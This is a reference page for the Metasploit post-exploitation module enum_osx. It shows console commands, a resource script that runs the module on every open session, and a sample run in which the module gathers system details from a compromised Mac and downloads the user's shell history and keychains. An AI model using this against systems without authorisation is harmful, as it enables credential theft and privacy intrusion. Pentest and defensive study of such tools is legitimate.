OS X Gather Mac OS X System Information Enumeration - Metasploit


This page contains detailed information about how to use the post/osx/gather/enum_osx metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: OS X Gather Mac OS X System Information Enumeration
Module: post/osx/gather/enum_osx
Source code: modules/post/osx/gather/enum_osx.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module gathers basic system information from Mac OS X Tiger (10.4), through Mojave (10.14).

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/osx/gather/enum_osx

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/osx/gather/enum_osx
msf post(enum_osx) > show options
    ... show and set options ...
msf post(enum_osx) > set SESSION session-id
msf post(enum_osx) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/osx/gather/enum_osx")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


This module gathers basic system information from Mac OS X Tiger (10.4), through Mojave (10.14).

The following information is enumerated:

  1. OS
  2. Network
  3. Bluetooth
  4. Ethernet
  5. Printers
  6. USB
  7. Airport
  8. Firewall
  9. Known Networks
  10. Applications
  11. Development Tools
  12. Frameworks
  13. Logs
  14. Preference Panes
  15. StartUp
  16. TCP/UDP Connections
  17. Environment Variables
  18. Last Boottime
  19. Current Activity
  20. Process List
  21. Users & Groups
  22. User history files (.bash_history)
  23. User keychains (downloaded as well)

Verification Steps


  1. Start msfconsole
  2. Get a shell, user level is fine
  3. Do: use post/osx/gather/enum_osx
  4. Do: set session #
  5. Do: run
  6. You should have lots of files saved to the logs folder

Scenarios


User level shell on OSX 10.14.4

msf5 > use post/osx/gather/enum_osx 
msf5 post(osx/gather/enum_osx) > show options

Module options (post/osx/gather/enum_osx):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

msf5 post(osx/gather/enum_osx) > set session 1
session => 1
msf5 post(osx/gather/enum_osx) > run

[*] Running module against MacBook-Pro.nogroup
[*] Saving all data to /logs/post/enum_osx/MacBook-Pro.nogroup_20190415.5738
[*]     Enumerating OS
[*]     Enumerating Network
[*]     Enumerating Bluetooth
[*]     Enumerating Ethernet
[*]     Enumerating Printers
[*]     Enumerating USB
[*]     Enumerating Airport
[*]     Enumerating Firewall
[*]     Enumerating Known Networks
[*]     Enumerating Applications
[*]     Enumerating Development Tools
[*]     Enumerating Frameworks
[*]     Enumerating Logs
[*]     Enumerating Preference Panes
[*]     Enumerating StartUp
[*]     Enumerating TCP Connections
[*]     Enumerating UDP Connections
[*]     Enumerating Environment Variables
[*]     Enumerating Last Boottime
[*]     Enumerating Current Activity
[*]     Enumerating Process List
[*]     Enumerating Users
[*]     Enumerating Groups
[*] Extracting history files
[*]     History file .bash_history found for h00die
[*]     Downloading .bash_history
[*] Enumerating and Downloading keychains for h00die
[*] Post module execution completed
msf5 post(osx/gather/enum_osx) > ls -lah /logs/post/enum_osx/MacBook-Pro.nogroup_20190415.5738
[*] exec: ls -lah /logs/post/enum_osx/MacBook-Pro.nogroup_20190415.5738

total 1.4M
drwxr-xr-x 2 root root 4.0K Apr 15 07:58 .
drwxr-xr-x 3 root root 4.0K Apr 15 07:57 ..
-rw-r--r-- 1 root root 4.2K Apr 15 07:57 Airport.txt
-rw-r--r-- 1 root root  87K Apr 15 07:57 Applications.txt
-rw-r--r-- 1 root root 3.5K Apr 15 07:57 Bluetooth.txt
-rw-r--r-- 1 root root   64 Apr 15 07:58 Current Activity.txt
-rw-r--r-- 1 root root    0 Apr 15 07:57 Development Tools.txt
-rw-r--r-- 1 root root  308 Apr 15 07:58 Environment Variables.txt
-rw-r--r-- 1 root root    0 Apr 15 07:57 Ethernet.txt
-rw-r--r-- 1 root root  129 Apr 15 07:57 Firewall.txt
-rw-r--r-- 1 root root 316K Apr 15 07:58 Frameworks.txt
-rw-r--r-- 1 root root   62 Apr 15 07:58 Groups.txt
-rw-r--r-- 1 root root  414 Apr 15 07:58 h00die_.bash_history.txt
-rw-r--r-- 1 root root   63 Apr 15 07:58 h00die_bash__line_342__usr_bin_security__No_such_file_or_directory
-rw-r--r-- 1 root root 1.3K Apr 15 07:57 Known Networks.txt
-rw-r--r-- 1 root root   32 Apr 15 07:58 Last Boottime.txt
-rw-r--r-- 1 root root 841K Apr 15 07:58 Logs.txt
-rw-r--r-- 1 root root 2.1K Apr 15 07:57 Network.txt
-rw-r--r-- 1 root root  364 Apr 15 07:57 OS.txt
-rw-r--r-- 1 root root 8.8K Apr 15 07:58 Preference Panes.txt
-rw-r--r-- 1 root root  204 Apr 15 07:57 Printers.txt
-rw-r--r-- 1 root root  34K Apr 15 07:58 Process List.txt
-rw-r--r-- 1 root root    0 Apr 15 07:58 StartUp.txt
-rw-r--r-- 1 root root  739 Apr 15 07:58 TCP Connections.txt
-rw-r--r-- 1 root root 4.1K Apr 15 07:58 UDP Connections.txt
-rw-r--r-- 1 root root 1.7K Apr 15 07:57 USB.txt
-rw-r--r-- 1 root root   62 Apr 15 07:58 Users.txt

Go back to menu.

Msfconsole Usage


Here is how the osx/gather/enum_osx post exploitation module looks in the msfconsole:

msf6 > use post/osx/gather/enum_osx

msf6 post(osx/gather/enum_osx) > show info

       Name: OS X Gather Mac OS X System Information Enumeration
     Module: post/osx/gather/enum_osx
   Platform: OSX
       Arch: 
       Rank: Normal

Provided by:
  Carlos Perez <[email protected]>

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module gathers basic system information from Mac OS X Tiger 
  (10.4), through Mojave (10.14).

Module Options


This is a complete list of options available in the osx/gather/enum_osx post exploitation module:

msf6 post(osx/gather/enum_osx) > show options

Module options (post/osx/gather/enum_osx):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the osx/gather/enum_osx post exploitation module:

msf6 post(osx/gather/enum_osx) > show advanced

Module advanced options (post/osx/gather/enum_osx):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the osx/gather/enum_osx module can do:

msf6 post(osx/gather/enum_osx) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the osx/gather/enum_osx post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(osx/gather/enum_osx) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

failed to run <NAME>


Here is a relevant code snippet related to the "failed to run <NAME>" error message:

157:	      command_output = cmd_exec(command[0],command[1])
158:	      # Save data lo log folder
159:	      begin
160:	        file_local_write(log_folder+"//#{name}.txt",command_output)
161:	      rescue
162:	        print_error("failed to run #{name}")
163:	      end
164:	    end
165:	  end
166:	
167:	  def enum_accounts(log_folder,ver_num)

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • Carlos Perez <carlos_perez[at]darkoperator.com>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.